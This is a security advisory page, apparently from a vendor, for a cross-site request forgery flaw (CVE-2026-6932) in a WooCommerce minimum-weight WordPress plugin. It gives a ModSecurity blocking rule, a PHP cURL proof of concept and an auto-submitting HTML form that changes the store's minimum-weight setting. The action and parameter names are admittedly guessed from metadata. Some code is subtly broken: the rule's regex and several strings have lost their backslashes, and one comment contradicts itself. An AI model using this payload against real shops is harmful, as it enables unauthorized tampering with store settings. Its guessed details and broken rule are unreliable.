CVE-2026-6932: Woo Commerce Minimum Weight <= 3.0.1 – Cross-Site Request Forgery via Settings Update Form (woo-commerce-min-weight)

# Atomic Edge WAF Rule - CVE-2026-6932 (metadata-based)
# Block CSRF attack against Woo Commerce Minimum Weight settings update
# This rule blocks POST requests to admin-post.php with action wc_min_weight_update
# and the min_weight parameter that lacks a valid nonce (attacker's signature)

SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" 
    "id:20261932,phase:2,deny,status:403,chain,msg:'CVE-2026-6932 CSRF attempt via WooCommerce Min Weight settings',severity:'CRITICAL',tag:'CVE-2026-6932',tag:'wordpress',tag:'csrf'"
    SecRule ARGS_POST:action "@streq wc_min_weight_update" 
        "chain"
        SecRule ARGS_POST:min_weight "@rx ^d+$" 
            "t:none"
            # Note: This rule may have false positives if legitimate admin requests also lack nonce.
            # The absence of a nonce check IS the vulnerability, but at WAF level we cannot
            # verify nonces. This rule provides a surgical block on the specific action and parameter.
            # Consider disabling if legitimate admin requests use this same route without nonce.

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6932 - Woo Commerce Minimum Weight <= 3.0.1 - Cross-Site Request Forgery via Settings Update Form

// Configuration
$target_url = 'http://example.com/wp-admin/admin-post.php'; // Change to target WordPress site
$action_hook = 'wc_min_weight_update'; // Inferred action hook based on plugin slug
$nonce_field = '_wpnonce'; // Will be absent in vulnerable version

// Prepare POST data (min_order_weight parameter inferred from plugin purpose)
$post_data = array(
    'action' => $action_hook,
    'min_weight' => '0', // Attacker sets minimum weight to 0 to bypass restrictions
    'min_weight_note' => 'Updated via CSRF'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only; use true in production
curl_setopt($ch, CURLOPT_COOKIE, 'admin_cookie_here'); // Placeholder: attacker needs admin session cookie? No, CSRF tricks admin.

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body: " . substr($response, 0, 500) . "n";
echo "[+] If the request succeeded, the minimum weight setting has been changed to 0.n";
echo "[+] Note: This PoC assumes the admin is already authenticated via session cookies. In a real CSRF attack, the crafted form would be served from an attacker-controlled page and submitted via an admin's browser automatically.n";

// Alternative: For direct form submission (more realistic CSRF), use the following HTML payload:
// <form action='http://example.com/wp-admin/admin-post.php' method='POST'>
// <input type='hidden' name='action' value='wc_min_weight_update'>
// <input type='hidden' name='min_weight' value='0'>
// <input type='submit' value='Submit'>
// </form>
// <script>document.forms[0].submit();</script>